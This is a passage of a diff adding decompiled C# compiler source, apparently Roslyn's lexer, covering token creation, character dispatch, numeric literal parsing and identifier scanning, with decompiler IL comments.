LexerMode.XmlAttributeTextQuote: + case LexerMode.XmlAttributeTextDoubleQuote: + return LexXmlAttributeTextToken(); + case LexerMode.XmlCDataSectionText: + return LexXmlCDataSectionTextToken(); + case LexerMode.XmlCommentText: + return LexXmlCommentTextToken(); + case LexerMode.XmlProcessingInstructionText: + return LexXmlProcessingInstructionTextToken(); + case LexerMode.XmlCrefQuote: + case LexerMode.XmlCrefDoubleQuote: + return LexXmlCrefOrNameToken(); + case LexerMode.XmlNameQuote: + case LexerMode.XmlNameDoubleQuote: + return LexXmlCrefOrNameToken(); + case LexerMode.XmlCharacter: + return LexXmlCharacter(); + default: + throw ExceptionUtilities.UnexpectedValue((object)ModeOf(_mode)); + } + } + } + + private static int GetFullWidth(SyntaxListBuilder? builder) + { + int num = 0; + if (builder != null) + { + for (int i = 0; i < builder.Count; i++) + { + num += builder[i].FullWidth; + } + } + return num; + } + + private SyntaxToken LexSyntaxToken() + { + _leadingTriviaCache.Clear(); + LexSyntaxTrivia(TextWindow.Position > 0, isTrailing: false, ref _leadingTriviaCache); + SyntaxListBuilder leadingTriviaCache = _leadingTriviaCache; + TokenInfo info = default(TokenInfo); + Start(); + ScanSyntaxToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(leadingTriviaCache)); + _trailingTriviaCache.Clear(); + LexSyntaxTrivia(afterFirstToken: true, isTrailing: true, ref _trailingTriviaCache); + SyntaxListBuilder trailingTriviaCache = _trailingTriviaCache; + return Create(in info, leadingTriviaCache, trailingTriviaCache, errors); + } + + internal SyntaxTriviaList LexSyntaxLeadingTrivia() + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + _leadingTriviaCache.Clear(); + LexSyntaxTrivia(TextWindow.Position > 0, isTrailing: false, ref _leadingTriviaCache); + SyntaxToken val = default(SyntaxToken); + return new SyntaxTriviaList(ref val, _leadingTriviaCache.ToListNode(), 0, 0); + } + + internal SyntaxTriviaList LexSyntaxTrailingTrivia() + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + _trailingTriviaCache.Clear(); + LexSyntaxTrivia(afterFirstToken: true, isTrailing: true, ref _trailingTriviaCache); + SyntaxToken val = default(SyntaxToken); + return new SyntaxTriviaList(ref val, _trailingTriviaCache.ToListNode(), 0, 0); + } + + private SyntaxToken Create(in TokenInfo info, SyntaxListBuilder? leading, SyntaxListBuilder? trailing, SyntaxDiagnosticInfo[]? errors) + { + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Expected I4, but got Unknown + //IL_02af: Unknown result type (might be due to invalid IL or missing references) + //IL_02b5: Invalid comparison between Unknown and I4 + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + GreenNode leading2 = ((leading != null) ? leading.ToListNode() : null); + GreenNode trailing2 = ((trailing != null) ? trailing.ToListNode() : null); + SyntaxToken syntaxToken; + if (info.RequiresTextForXmlEntity) + { + syntaxToken = SyntaxFactory.Token(leading2, info.Kind, info.Text, info.StringValue, trailing2); + } + else + { + switch (info.Kind) + { + case SyntaxKind.IdentifierToken: + syntaxToken = SyntaxFactory.Identifier(info.ContextualKind, leading2, info.Text, info.StringValue, trailing2); + break; + case SyntaxKind.NumericLiteralToken: + { + SpecialType valueKind = info.ValueKind; + syntaxToken = (valueKind - 13) switch + { + 0 => SyntaxFactory.Literal(leading2, info.Text, info.IntValue, trailing2), + 1 => SyntaxFactory.Literal(leading2, info.Text, info.UintValue, trailing2), + 2 => SyntaxFactory.Literal(leading2, info.Text, info.LongValue, trailing2), + 3 => SyntaxFactory.Literal(leading2, info.Text, info.UlongValue, trailing2), + 5 => SyntaxFactory.Literal(leading2, info.Text, info.FloatValue, trailing2), + 6 => SyntaxFactory.Literal(leading2, info.Text, info.DoubleValue, trailing2), + 4 => SyntaxFactory.Literal(leading2, info.Text, info.DecimalValue, trailing2), + _ => throw ExceptionUtilities.UnexpectedValue((object)info.ValueKind), + }; + break; + } + case SyntaxKind.InterpolatedStringToken: + syntaxToken = SyntaxFactory.Literal(leading2, info.Text, info.Kind, info.Text, trailing2); + break; + case SyntaxKind.StringLiteralToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.Utf8StringLiteralToken: + case SyntaxKind.Utf8SingleLineRawStringLiteralToken: + case SyntaxKind.Utf8MultiLineRawStringLiteralToken: + syntaxToken = SyntaxFactory.Literal(leading2, info.Text, info.Kind, info.StringValue, trailing2); + break; + case SyntaxKind.CharacterLiteralToken: + syntaxToken = SyntaxFactory.Literal(leading2, info.Text, info.CharValue, trailing2); + break; + case SyntaxKind.XmlTextLiteralNewLineToken: + syntaxToken = SyntaxFactory.XmlTextNewLine(leading2, info.Text, info.StringValue, trailing2); + break; + case SyntaxKind.XmlTextLiteralToken: + syntaxToken = SyntaxFactory.XmlTextLiteral(leading2, info.Text, info.StringValue, trailing2); + break; + case SyntaxKind.XmlEntityLiteralToken: + syntaxToken = SyntaxFactory.XmlEntity(leading2, info.Text, info.StringValue, trailing2); + break; + case SyntaxKind.EndOfDocumentationCommentToken: + case SyntaxKind.EndOfFileToken: + syntaxToken = SyntaxFactory.Token(leading2, info.Kind, trailing2); + break; + case SyntaxKind.None: + syntaxToken = SyntaxFactory.BadToken(leading2, info.Text, trailing2); + break; + default: + syntaxToken = SyntaxFactory.Token(leading2, info.Kind, trailing2); + break; + } + } + if (errors != null && ((int)((ParseOptions)_options).DocumentationMode >= 2 || !InDocumentationComment)) + { + syntaxToken = GreenNodeExtensions.WithDiagnosticsGreen(syntaxToken, (DiagnosticInfo[])(object)errors); + } + return syntaxToken; + } + + private void ScanSyntaxToken(ref TokenInfo info) + { + //IL_06db: Unknown result type (might be due to invalid IL or missing references) + info.Kind = SyntaxKind.None; + info.ContextualKind = SyntaxKind.None; + info.Text = null; + bool flag = false; + int position = TextWindow.Position; + char c = TextWindow.PeekChar(); + char surrogateCharacter; + switch (c) + { + case '"': + case '\'': + ScanStringLiteral(ref info, inDirective: false); + break; + case '/': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.SlashEqualsToken : SyntaxKind.SlashToken); + break; + case '.': + if (ScanNumericLiteral(ref info)) + { + break; + } + TextWindow.AdvanceChar(); + if (TextWindow.TryAdvance('.')) + { + if (TextWindow.PeekChar() == '.') + { + AddError(ErrorCode.ERR_TripleDotNotAllowed); + } + info.Kind = SyntaxKind.DotDotToken; + } + else + { + info.Kind = SyntaxKind.DotToken; + } + break; + case ',': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.CommaToken; + break; + case ':': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance(':') ? SyntaxKind.ColonColonToken : SyntaxKind.ColonToken); + break; + case ';': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.SemicolonToken; + break; + case '~': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.TildeToken; + break; + case '!': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.ExclamationEqualsToken : SyntaxKind.ExclamationToken); + break; + case '=': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.EqualsEqualsToken : (TextWindow.TryAdvance('>') ? SyntaxKind.EqualsGreaterThanToken : SyntaxKind.EqualsToken)); + break; + case '*': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.AsteriskEqualsToken : SyntaxKind.AsteriskToken); + break; + case '(': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.OpenParenToken; + break; + case ')': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.CloseParenToken; + break; + case '{': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.OpenBraceToken; + break; + case '}': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.CloseBraceToken; + break; + case '[': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.OpenBracketToken; + break; + case ']': + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.CloseBracketToken; + break; + case '?': + TextWindow.AdvanceChar(); + info.Kind = ((!TextWindow.TryAdvance('?')) ? SyntaxKind.QuestionToken : (TextWindow.TryAdvance('=') ? SyntaxKind.QuestionQuestionEqualsToken : SyntaxKind.QuestionQuestionToken)); + break; + case '+': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.PlusEqualsToken : (TextWindow.TryAdvance('+') ? SyntaxKind.PlusPlusToken : SyntaxKind.PlusToken)); + break; + case '-': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.MinusEqualsToken : (TextWindow.TryAdvance('-') ? SyntaxKind.MinusMinusToken : (TextWindow.TryAdvance('>') ? SyntaxKind.MinusGreaterThanToken : SyntaxKind.MinusToken))); + break; + case '%': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.PercentEqualsToken : SyntaxKind.PercentToken); + break; + case '&': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.AmpersandEqualsToken : (TextWindow.TryAdvance('&') ? SyntaxKind.AmpersandAmpersandToken : SyntaxKind.AmpersandToken)); + break; + case '^': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.CaretEqualsToken : SyntaxKind.CaretToken); + break; + case '|': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.BarEqualsToken : (TextWindow.TryAdvance('|') ? SyntaxKind.BarBarToken : SyntaxKind.BarToken)); + break; + case '<': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.LessThanEqualsToken : ((!TextWindow.TryAdvance('<')) ? SyntaxKind.LessThanToken : (TextWindow.TryAdvance('=') ? SyntaxKind.LessThanLessThanEqualsToken : SyntaxKind.LessThanLessThanToken))); + break; + case '>': + TextWindow.AdvanceChar(); + info.Kind = (TextWindow.TryAdvance('=') ? SyntaxKind.GreaterThanEqualsToken : SyntaxKind.GreaterThanToken); + break; + case '@': + if (!TryScanAtStringToken(ref info) && !ScanIdentifierOrKeyword(ref info)) + { + ConsumeAtSignSequence(); + info.Text = TextWindow.GetText(intern: true); + AddError(ErrorCode.ERR_ExpectedVerbatimLiteral); + } + break; + case '$': + if (!TryScanInterpolatedString(ref info)) + { + if (ModeIs(LexerMode.DebuggerSyntax)) + { + goto case 'A'; + } + goto default; + } + break; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + case '_': + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + case 'g': + case 'h': + case 'i': + case 'j': + case 'k': + case 'l': + case 'm': + case 'n': + case 'o': + case 'p': + case 'q': + case 'r': + case 's': + case 't': + case 'u': + case 'v': + case 'w': + case 'x': + case 'y': + case 'z': + ScanIdentifierOrKeyword(ref info); + break; + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + ScanNumericLiteral(ref info); + break; + case '\\': + flag = true; + c = PeekCharOrUnicodeEscape(out surrogateCharacter); + if (SyntaxFacts.IsIdentifierStartCharacter(c)) + { + goto case 'A'; + } + goto default; + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + if (_directives.HasUnfinishedIf()) + { + AddError(ErrorCode.ERR_EndifDirectiveExpected); + } + if (_directives.HasUnfinishedRegion()) + { + AddError(ErrorCode.ERR_EndRegionDirectiveExpected); + } + info.Kind = SyntaxKind.EndOfFileToken; + break; + } + goto default; + default: + if (!SyntaxFacts.IsIdentifierStartCharacter(c)) + { + if (flag) + { + NextCharOrUnicodeEscape(out surrogateCharacter, out SyntaxDiagnosticInfo info2); + AddError(info2); + } + else + { + TextWindow.AdvanceChar(); + if (char.IsHighSurrogate(c) && char.IsLowSurrogate(TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + } + } + if (_badTokenCount++ <= 200) + { + info.Text = TextWindow.GetText(intern: true); + } + else + { + int length = TextWindow.Text.Length; + info.Text = TextWindow.Text.ToString(TextSpan.FromBounds(position, length)); + TextWindow.Reset(length); + } + string text = (flag ? info.Text : ObjectDisplay.FormatLiteral(info.Text, (ObjectDisplayOptions)16)); + AddError(ErrorCode.ERR_UnexpectedCharacter, text); + break; + } + goto case 'A'; + } + } + + private bool TryScanAtStringToken(ref TokenInfo info) + { + int i; + for (i = 0; TextWindow.PeekChar(i) == '@'; i++) + { + } + if (TextWindow.PeekChar(i) == '"') + { + ScanVerbatimStringLiteral(ref info); + return true; + } + if (TextWindow.PeekChar(i) == '$') + { + ScanInterpolatedStringLiteral(ref info); + return true; + } + return false; + } + + private bool TryScanInterpolatedString(ref TokenInfo info) + { + char c = TextWindow.PeekChar(1); + if ((c == '"' || c == '$' || c == '@') ? true : false) + { + ScanInterpolatedStringLiteral(ref info); + return true; + } + return false; + } + + private void CheckFeatureAvailability(MessageID feature) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = feature.GetFeatureAvailabilityDiagnosticInfo(Options); + if (featureAvailabilityDiagnosticInfo != null) + { + AddError(featureAvailabilityDiagnosticInfo.Code, ((DiagnosticInfo)featureAvailabilityDiagnosticInfo).Arguments); + } + } + + private bool ScanInteger() + { + int position = TextWindow.Position; + while (true) + { + char c = TextWindow.PeekChar(); + if (c < '0' || c > '9') + { + break; + } + TextWindow.AdvanceChar(); + } + return position < TextWindow.Position; + } + + private void ScanNumericLiteralSingleInteger(ref bool underscoreInWrongPlace, ref bool usedUnderscore, ref bool firstCharWasUnderscore, bool isHex, bool isBinary) + { + if (TextWindow.PeekChar() == '_') + { + if (isHex || isBinary) + { + firstCharWasUnderscore = true; + } + else + { + underscoreInWrongPlace = true; + } + } + bool flag = false; + while (true) + { + char c = TextWindow.PeekChar(); + if (c == '_') + { + usedUnderscore = true; + flag = true; + } + else + { + if (!(isHex ? SyntaxFacts.IsHexDigit(c) : (isBinary ? SyntaxFacts.IsBinaryDigit(c) : SyntaxFacts.IsDecDigit(c)))) + { + break; + } + _builder.Append(c); + flag = false; + } + TextWindow.AdvanceChar(); + } + if (flag) + { + underscoreInWrongPlace = true; + } + } + + private bool ScanNumericLiteral(ref TokenInfo info) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0589: Unknown result type (might be due to invalid IL or missing references) + //IL_058e: Unknown result type (might be due to invalid IL or missing references) + //IL_0590: Unknown result type (might be due to invalid IL or missing references) + //IL_0594: Unknown result type (might be due to invalid IL or missing references) + //IL_05a6: Expected I4, but got Unknown + //IL_0409: Unknown result type (might be due to invalid IL or missing references) + //IL_0372: Unknown result type (might be due to invalid IL or missing references) + //IL_0437: Unknown result type (might be due to invalid IL or missing references) + //IL_03a0: Unknown result type (might be due to invalid IL or missing references) + //IL_0465: Unknown result type (might be due to invalid IL or missing references) + //IL_03db: Unknown result type (might be due to invalid IL or missing references) + //IL_03ce: Unknown result type (might be due to invalid IL or missing references) + //IL_0705: Unknown result type (might be due to invalid IL or missing references) + //IL_0631: Unknown result type (might be due to invalid IL or missing references) + //IL_06f3: Unknown result type (might be due to invalid IL or missing references) + //IL_06e1: Unknown result type (might be due to invalid IL or missing references) + //IL_06b8: Unknown result type (might be due to invalid IL or missing references) + //IL_06a5: Unknown result type (might be due to invalid IL or missing references) + //IL_064d: Unknown result type (might be due to invalid IL or missing references) + //IL_0685: Unknown result type (might be due to invalid IL or missing references) + //IL_0670: Unknown result type (might be due to invalid IL or missing references) + int position = TextWindow.Position; + bool flag = false; + bool flag2 = false; + bool flag3 = false; + bool flag4 = false; + info.Text = null; + info.ValueKind = (SpecialType)0; + _builder.Clear(); + bool flag5 = false; + bool flag6 = false; + bool underscoreInWrongPlace = false; + bool usedUnderscore = false; + bool firstCharWasUnderscore = false; + char c = TextWindow.PeekChar(); + if (c == '0') + { + switch (TextWindow.PeekChar(1)) + { + case 'X': + case 'x': + TextWindow.AdvanceChar(2); + flag = true; + break; + case 'B': + case 'b': + CheckFeatureAvailability(MessageID.IDS_FeatureBinaryLiteral); + TextWindow.AdvanceChar(2); + flag2 = true; + break; + } + } + if (flag || flag2) + { + ScanNumericLiteralSingleInteger(ref underscoreInWrongPlace, ref usedUnderscore, ref firstCharWasUnderscore, flag, flag2); + char c2 = TextWindow.PeekChar(); + if ((c2 == 'L' || c2 == 'l') ? true : false) + { + TextWindow.AdvanceChar(); + flag6 = true; + c2 = TextWindow.PeekChar(); + if ((c2 == 'U' || c2 == 'u') ? true : false) + { + TextWindow.AdvanceChar(); + flag5 = true; + } + } + else + { + c2 = TextWindow.PeekChar(); + if ((c2 == 'U' || c2 == 'u') ? true : false) + { + TextWindow.AdvanceChar(); + flag5 = true; + c2 = TextWindow.PeekChar(); + if ((c2 == 'L' || c2 == 'l') ? true : false) + { + TextWindow.AdvanceChar(); + flag6 = true; + } + } + } + } + else + { + ScanNumericLiteralSingleInteger(ref underscoreInWrongPlace, ref usedUnderscore, ref firstCharWasUnderscore, isHex: false, isBinary: false); + if (ModeIs(LexerMode.DebuggerSyntax) && TextWindow.PeekChar() == '#') + { + TextWindow.AdvanceChar(); + info.StringValue = (info.Text = TextWindow.GetText(intern: true)); + info.Kind = SyntaxKind.IdentifierToken; + AddError(AbstractLexer.MakeError(ErrorCode.ERR_LegacyObjectIdSyntax)); + return true; + } + if ((c = TextWindow.PeekChar()) == '.') + { + char c3 = TextWindow.PeekChar(1); + if (c3 >= '0' && c3 <= '9') + { + flag3 = true; + _builder.Append(c); + TextWindow.AdvanceChar(); + ScanNumericLiteralSingleInteger(ref underscoreInWrongPlace, ref usedUnderscore, ref firstCharWasUnderscore, isHex: false, isBinary: false); + } + else if (_builder.Length == 0) + { + TextWindow.Reset(position); + return false; + } + } + char c2 = (c = TextWindow.PeekChar()); + if ((c2 == 'E' || c2 == 'e') ? true : false) + { + _builder.Append(c); + TextWindow.AdvanceChar(); + flag4 = true; + c2 = (c = TextWindow.PeekChar()); + if ((c2 == '+' || c2 == '-') ? true : false) + { + _builder.Append(c); + TextWindow.AdvanceChar(); + } + if (((c = TextWindow.PeekChar()) < '0' || c > '9') && c != '_') + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_InvalidReal)); + _builder.Append('0'); + } + else + { + ScanNumericLiteralSingleInteger(ref underscoreInWrongPlace, ref usedUnderscore, ref firstCharWasUnderscore, isHex: false, isBinary: false); + } + } + c = TextWindow.PeekChar(); + if (flag4 || flag3) + { + if ((c == 'F' || c == 'f') ? true : false) + { + TextWindow.AdvanceChar(); + info.ValueKind = (SpecialType)18; + } + else if ((c == 'D' || c == 'd') ? true : false) + { + TextWindow.AdvanceChar(); + info.ValueKind = (SpecialType)19; + } + else if ((c == 'M' || c == 'm') ? true : false) + { + TextWindow.AdvanceChar(); + info.ValueKind = (SpecialType)17; + } + else + { + info.ValueKind = (SpecialType)19; + } + } + else if ((c == 'F' || c == 'f') ? true : false) + { + TextWindow.AdvanceChar(); + info.ValueKind = (SpecialType)18; + } + else if ((c == 'D' || c == 'd') ? true : false) + { + TextWindow.AdvanceChar(); + info.ValueKind = (SpecialType)19; + } + else if ((c == 'M' || c == 'm') ? true : false) + { + TextWindow.AdvanceChar(); + info.ValueKind = (SpecialType)17; + } + else if ((c == 'L' || c == 'l') ? true : false) + { + TextWindow.AdvanceChar(); + flag6 = true; + c2 = TextWindow.PeekChar(); + if ((c2 == 'U' || c2 == 'u') ? true : false) + { + TextWindow.AdvanceChar(); + flag5 = true; + } + } + else if (c == 'u' || c == 'U') + { + flag5 = true; + TextWindow.AdvanceChar(); + c2 = TextWindow.PeekChar(); + if ((c2 == 'L' || c2 == 'l') ? true : false) + { + TextWindow.AdvanceChar(); + flag6 = true; + } + } + } + if (underscoreInWrongPlace) + { + AddError(MakeError(position, TextWindow.Position - position, ErrorCode.ERR_InvalidNumber)); + } + else if (firstCharWasUnderscore) + { + CheckFeatureAvailability(MessageID.IDS_FeatureLeadingDigitSeparator); + } + else if (usedUnderscore) + { + CheckFeatureAvailability(MessageID.IDS_FeatureDigitSeparator); + } + info.Kind = SyntaxKind.NumericLiteralToken; + info.Text = TextWindow.GetText(intern: true); + string text = TextWindow.Intern(_builder); + SpecialType valueKind = info.ValueKind; + switch (valueKind - 17) + { + case 1: + info.FloatValue = GetValueSingle(text); + break; + case 2: + info.DoubleValue = GetValueDouble(text); + break; + case 0: + info.DecimalValue = GetValueDecimal(text, position, TextWindow.Position); + break; + default: + { + ulong num; + if (string.IsNullOrEmpty(text)) + { + if (!underscoreInWrongPlace) + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_InvalidNumber)); + } + num = 0uL; + } + else + { + num = GetValueUInt64(text, flag, flag2); + } + if (!flag5 && !flag6) + { + if (num <= int.MaxValue) + { + info.ValueKind = (SpecialType)13; + info.IntValue = (int)num; + } + else if (num <= uint.MaxValue) + { + info.ValueKind = (SpecialType)14; + info.UintValue = (uint)num; + } + else if (num <= long.MaxValue) + { + info.ValueKind = (SpecialType)15; + info.LongValue = (long)num; + } + else + { + info.ValueKind = (SpecialType)16; + info.UlongValue = num; + } + } + else if (flag5 && !flag6) + { + if (num <= uint.MaxValue) + { + info.ValueKind = (SpecialType)14; + info.UintValue = (uint)num; + } + else + { + info.ValueKind = (SpecialType)16; + info.UlongValue = num; + } + } + else if (!flag5 && flag6) + { + if (num <= long.MaxValue) + { + info.ValueKind = (SpecialType)15; + info.LongValue = (long)num; + } + else + { + info.ValueKind = (SpecialType)16; + info.UlongValue = num; + } + } + else + { + info.ValueKind = (SpecialType)16; + info.UlongValue = num; + } + break; + } + } + return true; + } + + private static bool TryParseBinaryUInt64(string text, out ulong value) + { + value = 0uL; + foreach (char c in text) + { + if ((value & 0x8000000000000000uL) != 0L) + { + return false; + } + ulong num = (ulong)SyntaxFacts.BinaryValue(c); + value = (value << 1) | num; + } + return true; + } + + private int GetValueInt32(string text, bool isHex) + { + if (!int.TryParse(text, isHex ? NumberStyles.AllowHexSpecifier : NumberStyles.None, CultureInfo.InvariantCulture, out var result)) + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_IntOverflow)); + } + return result; + } + + private ulong GetValueUInt64(string text, bool isHex, bool isBinary) + { + ulong result; + if (isBinary) + { + if (!TryParseBinaryUInt64(text, out result)) + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_IntOverflow)); + } + } + else if (!ulong.TryParse(text, isHex ? NumberStyles.AllowHexSpecifier : NumberStyles.None, CultureInfo.InvariantCulture, out result)) + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_IntOverflow)); + } + return result; + } + + private double GetValueDouble(string text) + { + double result = default(double); + if (!RealParser.TryParseDouble(text, ref result)) + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_FloatOverflow, "double")); + } + return result; + } + + private float GetValueSingle(string text) + { + float result = default(float); + if (!RealParser.TryParseFloat(text, ref result)) + { + AddError(AbstractLexer.MakeError(ErrorCode.ERR_FloatOverflow, "float")); + } + return result; + } + + private decimal GetValueDecimal(string text, int start, int end) + { + if (!decimal.TryParse(text, NumberStyles.AllowDecimalPoint | NumberStyles.AllowExponent, CultureInfo.InvariantCulture, out var result)) + { + AddError(MakeError(start, end - start, ErrorCode.ERR_FloatOverflow, "decimal")); + } + return result; + } + + private void ResetIdentBuffer() + { + _identLen = 0; + } + + private void AddIdentChar(char ch) + { + if (_identLen >= _identBuffer.Length) + { + GrowIdentBuffer(); + } + _identBuffer[_identLen++] = ch; + } + + private void GrowIdentBuffer() + { + char[] array = new char[_identBuffer.Length * 2]; + Array.Copy(_identBuffer, array, _identBuffer.Length); + _identBuffer = array; + } + + private bool ScanIdentifier(ref TokenInfo info) + { + if (!ScanIdentifier_FastPath(ref info)) + { + if (!InXmlCrefOrNameAttributeValue) + { + return ScanIdentifier_SlowPath(ref info); + } + return ScanIdentifier_CrefSlowPath(ref info); + } + return true; + } + + private bool ScanIdentifier_FastPath(ref TokenInfo info) + { + if ((_mode & LexerMode.MaskLexMode) == LexerMode.DebuggerSyntax) + { + return false; + } + int i = TextWindow.Offset; + char[] characterWindow = TextWindow.CharacterWindow; + int characterWindowCount = TextWindow.CharacterWindowCount; + int num = i; + for (; i != characterWindowCount; i++) + { + switch (characterWindow[i]) + { + case '&': + if (InXmlCrefOrNameAttributeValue) + { + return false; + } + goto case '\0'; + case '\0': + case '\t': + case '\n': + case '\r': + case ' ': + case '!': + case '"': + case '%': + case '\'': + case '(': + case ')': + case '*': + case '+': + case ',': + case '-': + case '.': + case '/': + case ':': + case ';': + case '<': + case '=': + case '>': + case '?': + case '[': + case ']': + case '^': + case '{': + case '|': + case '}': + case '~': + { + int num2 = i - num; + TextWindow.AdvanceChar(num2); + info.Text = (info.StringValue = TextWindow.Intern(characterWindow, num, num2)); + info.IsVerbatim = false; + return true; + } + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + if (i == num) + { + return false; + } + break; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + case '_': + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + case 'g': + case 'h': + case 'i': + case 'j': + case 'k': + case 'l': + case 'm': + case 'n': + case 'o': + case 'p': + case 'q': + case 'r': + case 's': + case 't': + case 'u': + case 'v': + case 'w': + case 'x': + case 'y': + case 'z': + break; + default: + return false; + } + } + return false; + } + + private bool ScanIdentifier_SlowPath(ref TokenInfo info) + { + int position = TextWindow.Position; + ResetIdentBuffer(); + while (TextWindow.PeekChar() == '@') + { + TextWindow.AdvanceChar(); + } + int num = TextWindow.Position - position; + info.IsVerbatim = num > 0; + bool flag = false; + while (true) + { + char surrogateCharacter = '\uffff'; + bool flag2 = false; + char c = TextWindow.PeekChar(); + while (true) + { + switch (c) + { + case '\\': + if (!flag2 && IsUnicodeEscape()) + { + goto IL_0133; + } + goto default; + case '$': + if (ModeIs(LexerMode.DebuggerSyntax) && _identLen <= 0) + { + goto case 'A'; + } + goto case '\t'; + case '\uffff': + if (!TextWindow.IsReallyAtEnd()) + { + goto default; + } + goto case '\t'; + case '0': + if (_identLen == 0) + { + if (!info.IsVerbatim || !ModeIs(LexerMode.DebuggerSyntax) || char.ToLower(TextWindow.PeekChar(1)) != 'x') + { + goto case '\t'; + } + flag = true; + } + goto case 'A'; + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + if (_identLen != 0) + { + goto case 'A'; + } + goto case '\t'; + case '<': + if (_identLen == 0 && ModeIs(LexerMode.DebuggerSyntax) && TextWindow.PeekChar(1) == '>') + { + TextWindow.AdvanceChar(2); + AddIdentChar('<'); + AddIdentChar('>'); + break; + } + goto case '\t'; + default: + if (_identLen != 0 || c <= '\u007f' || !SyntaxFacts.IsIdentifierStartCharacter(c)) + { + if (_identLen <= 0 || c <= '\u007f' || !SyntaxFacts.IsIdentifierPartCharacter(c)) + { + goto case '\t'; + } + if (UnicodeCharacterUtilities.IsFormattingChar(c)) + { + if (flag2) + { + NextCharOrUnicodeEscape(out surrogateCharacter, out SyntaxDiagnosticInfo info3); + AddError(info3); + } + else + { + TextWindow.AdvanceChar(); + } + break; + } + } + goto case 'A'; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + case '_': + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + case 'g': + case 'h': + case 'i': + case 'j': + case 'k': + case 'l': + case 'm': + case 'n': + case 'o': + case 'p': + case 'q': + case 'r': + case 's': + case 't': + case 'u': + case 'v': + case 'w': + case 'x': + case 'y': + case 'z': + if (flag2) + { + NextCharOrUnicodeEscape(out surrogateCharacter, out SyntaxDiagnosticInfo info2); + AddError(info2); + } + else + { + TextWindow.AdvanceChar(); + } + AddIdentChar(c); + if (surrogateCharacter != '\uffff') + { + AddIdentChar(surrogateCharacter); + } + break; + case '\t': + case ' ': + case '(': + case ')': + case ',': + case '.': + case ';': + { + int width = TextWindow.Width; + if (_identLen > 0) + { + info.Text = TextWindow.GetInternedText(); + if (_identLen == width) + { + info.StringValue = info.Text; + } + else + { + info.StringValue = TextWindow.Intern(_identBuffer, 0, _identLen); + } + if (flag) + { + string text = TextWindow.Intern(_identBuffer, 2, _identLen - 2); + if (text.Length == 0 || !StringExtensions.All(text, (Predicate)SyntaxFacts.IsHexDigit)) + { + goto IL_0391; + } + GetValueUInt64(text, isHex: true, isBinary: false); + } + if (num >= 2) + { + AddError(position, num, ErrorCode.ERR_IllegalAtSequence); + } + return true; + } + goto IL_0391; + } + IL_0391: + info.Text = null; + info.StringValue = null; + TextWindow.Reset(position); + return false; + } + break; + 